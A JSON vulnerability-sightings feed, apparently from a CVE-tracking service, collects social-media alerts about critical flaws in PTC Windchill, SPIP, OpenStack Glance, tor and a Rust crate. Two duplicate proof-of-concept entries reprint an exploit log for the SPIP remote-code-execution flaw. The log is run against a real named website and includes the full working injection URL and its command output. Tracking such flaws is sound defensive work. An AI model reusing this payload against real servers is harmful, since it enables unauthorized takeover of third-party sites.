{"vulnerability": "cve-2026-7764", "sightings": [{"uuid": "7acf9d48-7394-48bb-803b-1561d496e5e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-77644", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mtkhxrluux25", "content": "\ud83d\udea8 CVE-2026-77644 \u2014 CVSS 9.3 CRITICAL\n\nA critical bypass access control vulnerability has been reported in PTC Windchill Risk and Reliability (WRR...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-77644\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-08-21T00:11:47.988870Z"}, {"uuid": "4ac2bb52-a7df-4d01-8e48-dd83ebb67a1a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-77645", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mtkhxznytf2b", "content": "\ud83d\udea8 CVE-2026-77645 \u2014 CVSS 9.2 CRITICAL\n\nA critical remote code execution (RCE) vulnerability has been reported in PTC Windchill and PTC FlexPLM. Th...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-77645\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-08-21T00:11:56.473841Z"}, {"uuid": "acfd93f0-b0a3-4aa5-812b-617c9bed5abb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-77647", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mtkhybv7ip25", "content": "\ud83d\udea8 CVE-2026-77647 \u2014 CVSS 9.8 CRITICAL\n\nSPIP before 4.4.20 allows unauthenticated remote attackers to execute arbitrary code, as exploited in the w...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-77647\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-08-21T00:12:05.065210Z"}, {"uuid": "fc7295bb-16a1-43c6-ab16-3c91213ab7bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-77648", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/2lst6uuj3pzwn", "content": "CVE-2026-77648 - OpenStack Glance Server-Side Request Forgery\nCVE ID : CVE-2026-77648\n \n Published : Aug. 20, 2026, 11:16 p.m. | 38\u00a0minutes ago\n \n Description : In OpenStack Glance through 32.0.0, the /v2/tasks API accepts type=import tasks that\nbypass import_filtering_opts, a...", "creation_timestamp": "2026-08-21T00:13:23.848637Z"}, {"uuid": "b049c208-731b-4d0d-8b40-e0941efa5bab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-77647", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/g7po5x5zwz3s7", "content": "CVE-2026-77647 - SPIP Remote Code Execution Vulnerability\nCVE ID : CVE-2026-77647\n \n Published : Aug. 20, 2026, 11:16 p.m. | 38\u00a0minutes ago\n \n Description : SPIP before 4.4.20 allows unauthenticated remote attackers to execute arbitrary code, as exploited in the wild in August...", "creation_timestamp": "2026-08-21T00:19:23.581773Z"}, {"uuid": "d6474517-2a46-4811-83b5-e5bb3d0f1f73", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-77645", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mtkk4au43q2y", "content": "CVE-2026-77645\nThe Windchill and FlexPLM product suites can be tricked into executing malicious commands from a distance when they process crafted data. This could let a hacker take control of the affected system or steal\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-08-21T00:50:05.925850Z"}, {"uuid": "ade43676-e836-4e53-87df-e8475775e6a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-77644", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mtkk47cxi62p", "content": "CVE-2026-77644 - windchill risk and reliability enterprise edition (formerly relex)\nWindchill Risk and Reliability Enterprise Edition can be tricked into letting people who shouldn\u2019t have permission see and change data.\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#ptc #CVE #infosec", "creation_timestamp": "2026-08-21T00:50:04.168319Z"}, {"uuid": "3484564a-8656-4644-a859-69f2579cf5fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-77647", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mtkko3xm5o2p", "content": "CVE-2026-77647 - spip\nWebsites using SPIP versions older than 4.4.20 can be accessed by anyone on the internet who can then cause the server to run their own programs. This happens because the software misinterprets\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#spip #CVE #infosec", "creation_timestamp": "2026-08-21T01:00:21.016303Z"}, {"uuid": "b6908052-521b-4fee-9c35-a7586d6405c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-77649", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mtknhjbrze25", "content": "CVE-2026-77649 - internment\nThe Rust library called internment version 0.8.7 includes a hidden component that contacts an outside server and can execute malicious code when a developer builds a project\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#internment #droundy #CVE #infosec", "creation_timestamp": "2026-08-21T01:50:04.884777Z"}, {"uuid": "95cda241-94ed-41a3-8b11-3f8b7b7c7065", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-77649", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mtkojkcxlu2y", "content": "\ud83d\udea8 CVE-2026-77649 \u2014 CVSS 9.8 CRITICAL\n\nThe internment crate 0.8.7 for Rust can trigger execution of malicious code when compiling a project that u...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-77649\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-08-21T02:09:07.097240Z"}, {"uuid": "06863d61-b609-4255-9a66-ec608d08b7d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-77647", "type": "seen", "source": "https://bsky.app/profile/securityonline.bsky.social/post/3mtkqqxfwjw22", "content": "CVE-2026-77647, a CVSS 9.8 unauthenticated RCE in SPIP before 4.4.20, is exploited in the wild. Update now.\n\n#SPIP #CVE202677647 #RCE #ExploitedInTheWild #CMS #WebSecurity", "creation_timestamp": "2026-08-21T02:49:04.129757Z"}, {"uuid": "38457d6d-8582-4e25-aaf1-ced2648c7bb3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-77645", "type": "seen", "source": "https://bsky.app/profile/hermes71.bsky.social/post/3mtky7utqn22v", "content": "Daily IT Security Digest \u2014 2026-08-21\nhighlights the ongoing risk to even the largest technology vendors. Customers should review any disclosed vulnerabilities and update as needed. [CybersecurityNews](https://cybersecuritynews.com/cisco-data-leak/)\n\n## 6. CVE-2026-77645: Critical RCE in PTC", "creation_timestamp": "2026-08-21T05:02:39.702417Z"}, {"uuid": "38c299e2-8986-4cba-a8dc-6016a420e215", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-77645", "type": "seen", "source": "https://bsky.app/profile/hermes71.bsky.social/post/3mtky7v4i2q2b", "content": "Daily IT Security Digest \u2014 2026-08-21\nPDMLink\nAn unauthenticated remote code execution vulnerability (CVE-2026-77645) exists in PTC Windchill PDMLink across multiple versions, exploitable via insecure deserialization. No patch is available yet. Administrators should restrict network access and", "creation_timestamp": "2026-08-21T05:02:40.185292Z"}, {"uuid": "226d5a26-366c-41db-8748-ec53b3a56ac1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-77645", "type": "seen", "source": "https://bsky.app/profile/hermes71.bsky.social/post/3mtky7vevgn27", "content": "Daily IT Security Digest \u2014 2026-08-21\nmonitor for signs of exploitation. [OffSeq Radar](https://radar.offseq.com/threat/cve-2026-77645/)\n\n## 7. 9 Million Biometric Facial Images Exposed by ClarityCheck\nThe reverse image search service ClarityCheck inadvertently exposed over 9 million biometric", "creation_timestamp": "2026-08-21T05:02:40.895701Z"}, {"uuid": "fcc4f5e7-8a1d-4dd8-9a9d-052b046f8f16", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-7764", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mngz5xiqip26", "content": "CVE-2026-7764 - Out-of-bounds read in morse.ko Vendor IE processing\nCVE ID : CVE-2026-7764\n \n Published : June 4, 2026, 2:16 a.m. | 4\u00a0hours, 16\u00a0minutes ago\n \n Description : An out-of-bounds read vulnerability in the morse.ko HaLow Wi-Fi kernel driver in Morse Micro HaLowLink 2...", "creation_timestamp": "2026-06-04T06:37:40.481372Z"}, {"uuid": "85c098f2-d114-405e-87f6-99b3b101dd3c", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-77647", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/e5d23ef8-d861-40f6-b794-b5672e099e4c", "content": "", "creation_timestamp": "2026-08-21T23:00:48.432614Z"}, {"uuid": "4a794703-2a92-48f9-8150-1e0028f53490", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-77647", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mtnx344xde2m", "content": "CVE-2026-77647 - spip\nWebsites using SPIP versions older than 4.4.20 can be taken over by strangers who send specially crafted pages. The software misreads certain code markers, allowing the attacker\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#spip #debian #Debian11 #CVE #infosec", "creation_timestamp": "2026-08-22T09:20:05.155463Z"}, {"uuid": "500e441e-4552-4ce4-9625-755d185bc0ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-77647", "type": "seen", "source": "https://bsky.app/profile/netsecio.bsky.social/post/3mtmcvojf7i2d", "content": "\ud83d\udea8 Critical RCE vulnerability (CVE-2026-77647, CVSS 9.8) in SPIP CMS is under active exploitation. The unauthenticated flaw allows full server takeover. All versions before 4.4.20 are vulnerable. #SPIP #RCE #Vulnerability #PatchNow\n\n\ud83c\udf10 cyber[.]netsecops[.]io", "creation_timestamp": "2026-08-21T17:46:29.168924Z"}, {"uuid": "1364a3d0-259c-4ae0-8df2-cad97f3cef35", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-77647", "type": "seen", "source": "https://mastodon.social/ap/users/115426718704364579/statuses/117134745131299746", "content": "\ud83d\udcf0 Critical RCE Flaw in SPIP CMS Under Active Exploitation\n\ud83d\udea8 Critical RCE vulnerability (CVE-2026-77647, CVSS 9.8) in SPIP CMS is under active exploitation. The unauthenticated flaw allows full server takeover. All versions before 4.4.20 are vulnerable. #SPIP #RCE #Vulnerability #PatchNow\n\ud83d\udd17 https://cyber.netsecops.io/articles/critical-rce-flaw-in-spip-cms-cve-2026-77647-actively-exploited/?utm_source=mastodon&utm_medium=social&utm_campaign=daily", "creation_timestamp": "2026-08-21T17:46:36.570979Z"}, {"uuid": "a9cb18c8-7bdd-4794-82c8-4bb7a485556c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-77642", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mtkdy7eoqo2b", "content": "\ud83d\udfe0 CVE-2026-77642 - High (7.5)\n\ntor before 0.4.9.9 was prone to an\u00a0out-of-bounds write when parsing a consensus or  detached sig...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-77642/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-08-20T23:00:28.438050Z"}, {"uuid": "fd8e9c1b-7d51-4962-9595-d717f21a2db2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-77647", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mtkhd35e7u27", "content": "\ud83d\udd34 CVE-2026-77647 - Critical (9.8)\n\nSPIP before 4.4.20 allows unauthenticated remote attackers to execute arbitrary code, as exploite...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-77647/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-08-21T00:00:18.577866Z"}, {"uuid": "30253d1a-78b5-4632-ae32-18432ca01f8b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-77645", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/117130555383881348", "content": "CRITICAL RCE flaw (CVE-2026-77645) in PTC Windchill PDMLink (multiple versions). Unauthenticated attackers can execute remote code via insecure deserialization. No patch yet \u2014 restrict access & monitor closely. https://radar.offseq.com/threat/cve-2026-77645-cwe-20-improper-input-validation-in-ptc-windchill-pdmlink-d801e9b56795a3c8 #OffSeq #Vulnerability #PTC #Infosec", "creation_timestamp": "2026-08-21T00:00:38.094386Z"}, {"uuid": "e72cc910-bc59-4cb4-90ae-7e1d7068161f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-77645", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mtkhdtvlq32c", "content": "PTC Windchill PDMLink hit by CRITICAL RCE (CVE-2026-77645, CVSS 9.2). No patch yet. Restrict access, monitor for deserialization threats. Impact: full system compromise possible. https://radar.offseq.com/threat/cve-2026-77645-cwe-20-improper-input-validation-in-ptc-windchill-pdmlink-d801e9b56795a...", "creation_timestamp": "2026-08-21T00:00:39.892557Z"}, {"uuid": "ac770776-0c95-4dbc-841c-2b5dd30f01f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-77646", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/coqgqpb73y2wd", "content": "CVE-2026-77646 - Server Side Request Forgery (SSRF) vulnerability reported in Windchill\nCVE ID : CVE-2026-77646\n \n Published : Aug. 20, 2026, 10:18 p.m. | 1\u00a0hour, 36\u00a0minutes ago\n \n Description : A\u00a0Server-Side Request Forgery (SSRF) vulnerability has been\u00a0reported in PTC Windch...", "creation_timestamp": "2026-08-21T00:01:24.347393Z"}, {"uuid": "59ce3ba2-8acf-4c7d-9126-8faddb38bd7b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-77645", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/jg7egktadbkay", "content": "CVE-2026-77645 - Critical Remote Code Execution (RCE) vulnerability reported in Windchill\nCVE ID : CVE-2026-77645\n \n Published : Aug. 20, 2026, 10:18 p.m. | 1\u00a0hour, 36\u00a0minutes ago\n \n Description : A critical remote code execution (RCE) vulnerability has been reported in PTC Wi...", "creation_timestamp": "2026-08-21T00:07:23.305934Z"}, {"uuid": "bc5c7785-441e-499b-aa90-bcba9726f7f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-77647", "type": "published-proof-of-concept", "source": "https://t.me/captainsmok3r_official/490", "content": "python poc2026-77647.py --host https://inta.org.ua/ --command \"whoami\"\n\n============================================================\n  ALIM EXPLOIT  CVE-2026-77647\n  Type: RCE  |  Target: inta.org.ua:443\n============================================================\n\n[STEP 1] Entry point: https://inta.org.ua:443/spip.php\n[STEP 2] Command to run: whoami\n[STEP 3] Injecting X-Spip-Filtre through the var_export'd template environment\n[STEP 4] Breaking out of the string literal with an early ?> plus HTML entities\n\n  page=404         sink=system()   -> no command output\n  page=404         sink=passthru() -> no command output\n  page=404         sink=shell_exec() -> no command output\n  page=sommaire    sink=system()   -> no command output\n  page=sommaire    sink=passthru() -> no command output\n  page=sommaire    sink=shell_exec() -> no command output\n  page=recherche   sink=system()   -> executed (2 copies)\n\n[STEP 5] Command output recovered from the response body (2 copies, one per environment splice)\n\n--- COMMAND OUTPUT ---\nintakiev\n---\n\n\n--- EXECUTION DETAIL ---\nentry page : recherche\nphp sink   : system()\nhttp status: 200\nurl        : https://inta.org.ua:443/spip.php?page=recherche&p19223b85=%3C%3Fphp+header%28%21X-Spip-Filtre%3A+filtrer_entites%21%29+%3F%3E&pb9a3a916=%3F%3E%26%2339%3B.system%28base64_decode%28%26%2334%3BZWNobyBkNDUyYjQwMzJhMmM7IHdob2FtaSAyPiYxOyBlY2hvIDJjNmRjYjVlYzk2Yw%3D%3D%26%2334%3B%29%29.%26%2339%3B\n---\n\n\n============================================================\n  RESULT  : SUCCESS\n  EVIDENCE: RCE confirmed - command 'whoami' executed as the web server user: intakiev\n============================================================", "creation_timestamp": "2026-08-28T00:00:32.683184Z"}, {"uuid": "0dbbd99d-cfdc-4216-8621-3fc0bdb4f54a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-77647", "type": "seen", "source": "https://t.me/captainsmok3r_official/488", "content": "CVE-2026-77647 SPIP before 4.4.20 allows unauthenticated remote attackers to execute arbitrary code", "creation_timestamp": "2026-08-28T00:00:32.726746Z"}, {"uuid": "1bbd0102-56e4-4f4b-bb8d-b22d98c1f766", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-77647", "type": "published-proof-of-concept", "source": "https://t.me/captainsmok3r_official/490", "content": "python poc2026-77647.py --host https://inta.org.ua/ --command \"whoami\"\n\n============================================================\n  ALIM EXPLOIT  CVE-2026-77647\n  Type: RCE  |  Target: inta.org.ua:443\n============================================================\n\n[STEP 1] Entry point: https://inta.org.ua:443/spip.php\n[STEP 2] Command to run: whoami\n[STEP 3] Injecting X-Spip-Filtre through the var_export'd template environment\n[STEP 4] Breaking out of the string literal with an early ?> plus HTML entities\n\n  page=404         sink=system()   -> no command output\n  page=404         sink=passthru() -> no command output\n  page=404         sink=shell_exec() -> no command output\n  page=sommaire    sink=system()   -> no command output\n  page=sommaire    sink=passthru() -> no command output\n  page=sommaire    sink=shell_exec() -> no command output\n  page=recherche   sink=system()   -> executed (2 copies)\n\n[STEP 5] Command output recovered from the response body (2 copies, one per environment splice)\n\n--- COMMAND OUTPUT ---\nintakiev\n---\n\n\n--- EXECUTION DETAIL ---\nentry page : recherche\nphp sink   : system()\nhttp status: 200\nurl        : https://inta.org.ua:443/spip.php?page=recherche&p19223b85=%3C%3Fphp+header%28%21X-Spip-Filtre%3A+filtrer_entites%21%29+%3F%3E&pb9a3a916=%3F%3E%26%2339%3B.system%28base64_decode%28%26%2334%3BZWNobyBkNDUyYjQwMzJhMmM7IHdob2FtaSAyPiYxOyBlY2hvIDJjNmRjYjVlYzk2Yw%3D%3D%26%2334%3B%29%29.%26%2339%3B\n---\n\n\n============================================================\n  RESULT  : SUCCESS\n  EVIDENCE: RCE confirmed - command 'whoami' executed as the web server user: intakiev\n============================================================", "creation_timestamp": "2026-08-27T19:00:05.370111Z"}, {"uuid": "5df87f56-5b52-45c5-affe-fcc2e99a404b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-77647", "type": "seen", "source": "https://t.me/captainsmok3r_official/488", "content": "CVE-2026-77647 SPIP before 4.4.20 allows unauthenticated remote attackers to execute arbitrary code", "creation_timestamp": "2026-08-27T19:00:05.432052Z"}]}